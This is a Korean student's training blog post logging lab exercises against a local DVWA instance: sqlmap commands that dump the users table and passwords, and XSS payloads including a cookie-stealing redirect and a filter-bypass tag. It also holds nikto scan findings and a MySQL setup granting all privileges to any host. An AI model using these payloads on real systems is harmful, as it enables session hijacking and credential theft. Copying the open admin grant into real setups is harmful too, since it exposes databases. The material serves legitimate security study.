본문 바로가기
  • 이게 왜 되지...?
시큐리티아카데미 7기 - sk쉴더스트랙/프로젝트

[시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 4일차 - 2026.04.14

by smisooth 2026. 4. 14.

 
오늘은~ 걸스끼리 로제마라샹궈에 크림새우 조짐
ㄹㅇ 개맛도리에염
다들 맛있는 거 싸들고 피크닉 가자구염><
 

 
 
 
 
1.  복습
    1) Nat와 host only랑 브릿지
        ① Nat
            i.  밖으로 나갈 수 있는
            ii.  1대 다가 가능한 연결 방식
            iii.  할당은 dhcp가 함
            iv.  사설 ip에서 공인 ip로 바꾸는 기술
        ② 호스트 온리
            i.  1대1 연결
        ③ 브릿지
            i.  공유기 ip 그대로 받아와서 그대로 사용


2.  SQL injection (by using sqlmap)
    1) 출처
        ① https://maker5587.tistory.com/55

    2) dvwa 실습환경 구성
        ① DVWA Security 들어가기  

            i.  Low로 보안 단계 설정해주기

    3) sqlmap
        ① 칼리 리눅스에서 제공하는 SQL injection 공격 자동화 도구
        ② 사람이 일일이 모든 경우의 수와 함수를 입력하며 공격을 수행할 수가 없잖슴?
        ③ 그래서 사용하는 거임

    4) DB이름을 알아내는 공격
        ① 1 쳐보기  

        ② 7 쳐보기  

        ③ 해당 번호의 사용자가 존재하는지, 존재하지 않는지에 따라 나오는 문구가 다름

    5) 쿠키값 가져오기 


    6) 공격문 작성
        ① sqlmap -u "[해당페이지] --cookie = "쿠키값" --current-db
            i.  쿠키값은 f12누르고 console에서 document.cookie 치면 나옴
        ② sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="PHPSESSID=15a1511205d5345fb265708753e2abee; security=low" --current-유

    7) 결과  

        ① Boolean-based blind
            i.  참/거짓 반응 차이를 이용해 데이터를 추론 가능함
            ii.  Payload의 AND 6997=6997 부분
        ② Time-based blind
            i.  서버의 응답 시간을 지연시켜 데이터를 추론 가능함
            ii.  Payload의 SLEEP(5) 부분
        ③ current database
            i.  dvwa

    8) 테이블 목록 확인해보기
        ① sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=2&Submit=Submit" --cookie="PHPSESSID=15a1511205d5345fb265708753e2abee; security=low" -D dvwa --tables  

        ② 추출된 테이블
            i.  access_log
                -  접속 기록
            ii.  Guestbook
                -  방명록 데이터
            iii.  security_log
                -  보안 관련 로그
            iv.  Users
                -  가장 중요한 테이블로
                -  사용자 아이디와 비밀번호 해시가 들어있을 가능성이 높음

    9) 컬럼 목록 확인
        ① User 테이블 확인해 볼거임
        ② 공격
            i.  sqlmap -u "[취약 페이지]" --cookie="쿠키값" -D dvwa -T users –columns
            ii.  sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=2&Submit=Submit" --cookie="PHPSESSID=15a1511205d5345fb265708753e2abee; security=low" -D dvwa -T users –columns
        ③ 결과 


    10) 아이디랑 ps 뽑아내보기
        ① 공격
            i.  sqlmap -u "취약 페이지" --cookie="쿠키값" -D dvwa -T users -C "user,password" --dump 
            ii.  sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=2&Submit=Submit" --cookie="PHPSESSID=15a1511205d5345fb265708753e2abee; security=low" -D dvwa -T users -C "user,password" --dump 
        ② 결과 

            i.  아이디랑 비번이 잘 나오는 것을 확인할 수 있다
        ③ 확인
            i.  4번 유저인 pablo – letmein로 로그인해보자  

                -  잘 되는 것을 할 수 있다~

    11) Blind SQL Injection 대응 방안
        ① Prepared statement 구문을 사용해서 입력된 값은 모두 문자열로 처리되도록 하면 됨


3.  Xss
    1) 출처
        ① https://velog.io/@dhk22/Kali-Linux-DVWA%EC%8B%A4%EC%8A%B5-XSS

    2) 저장 방식에 따른 종류



    3) 취약점 확인
        ① script코드 요청 

            i.  결과 확인  

        ② 쿠키 탈취
            i.  <script>alert(document.cookie)</script>
            ii.  결과 확인  

                -  잘 탈취되는 것을 볼 수 있다~

    4) XSS 할 때 해당 결과가 로그로 찍히게 해보기
        ① 터미널
            i.  sudo tail -f /var/log/apache2/access.log
        ② Dvwa
            i.  <script>document.location='http://127.0.0.1/cookie?' + document.cookie;</script>
        ③ 확인 

            i.  쿠키가 잘 탈취된 것을 볼 수 있다

    5) 미디움 단계
        ① <script>를 공백으로 치환함
        ② 우회 방법
            i.  <scr<script>ipt>alert(1)</script>

    6) High 단계
        ① high 단계에서는 htmlspecialchars() 함수를 통해서 html 태그에 사용되는 중요한 특수문자들을 기능하지 않게 만들고 단순히 문자로서 표시되게 만들고 있음
            i.  htmlspecialchars() 함수
            ii.  html 태그에 사용되는 특수문자들을 걍 문자열로 만듦
        ② 현재 가장 많이 사용되고 있는 XSS 공격 대응 방법이라고 함 = 우회 어떻게 하는지 모르겠음

    7) XSS 취약점을 체크
        ① nikto -h http://127.0.0.1/DVWA/  

        ② 분석
            i.  .git 디렉토리 노출 ([006530] 등)
                -  전체 소스코드를 복구하거나, 코드 내부에 숨겨진 DB 비밀번호, API 키 등을 훔칠 수도 있다~
            ii.   Directory Indexing ([750500])
                -  /config/, /database/, /docs/, /tests/ 경로의 파일 목록이 브라우저에서 그대로 보임
                -  특히 /config/에는 DB 접속 정보가 담긴 파일이 있을 가능성이 매우 높고
                -  /database/에는 백업 데이터가 있을 수 있어 매우 위험함
            iii.  Content-Security-Policy (CSP) 누락
                -  이게 없으면 XSS 공격을 막기 어려움
                -  브라우저가 어떤 스크립트를 실행할지 통제하지 못하기 때문임
            iv.  X-Content-Type-Options 누락
                -  브라우저가 파일의 타입을 마음대로 추측해서 실행(MIME Sniffing)하게 둠
                -  .txt 파일 안에 악성 코드를 넣어도 실행될 수도 있음
            v.  Strict-Transport-Security (HSTS) 누락
                -  HTTPS 강제 연결 설정이 없어, 중간자 공격(MitM)을 통해 데이터를 가로챌 수 있음


4.  Exsi에 mysql 올리기
    1) 가상 머신 생성
        ① 이름: MySQL-Server 
        ② 게스트 OS 패밀리: Linux
        ③ 게스트 OS 버전: Ubuntu Linux (64비트)
    2) 스토리지 선택 


    3) 사용자 지정 설정  

        ① cd/DVD 드라이브 1


    4) 설치 시작
        ① sudo apt update
        ② sudo apt install mysql-server -y
        ③ 확인  

            i.  8.0.45가 잘 깔린 것을 알 수 있다~

    5) ㄹㅇ 시작
        ① sudo systemctl restart mysql
        ② sudo mysql

    6) 사용자 생성 및 권한 부여
        ① 모든 호스트(%)에서 접속 가능한 사용자 생성
            i.  CREATE USER '[아이디]'%' IDENTIFIED BY '[비밀번호]
        ② 모든 DB에 대한 관리자 권한(ALL PRIVILEGES) 부여
            i.  GRANT ALL PRIVILEGES ON *.* TO 'admin_user'@'%' WITH GRANT OPTION;
        ③ 변경사항 적용
            i.  FLUSH PRIVILEGES;
        ④ 종료
            i.  EXIT;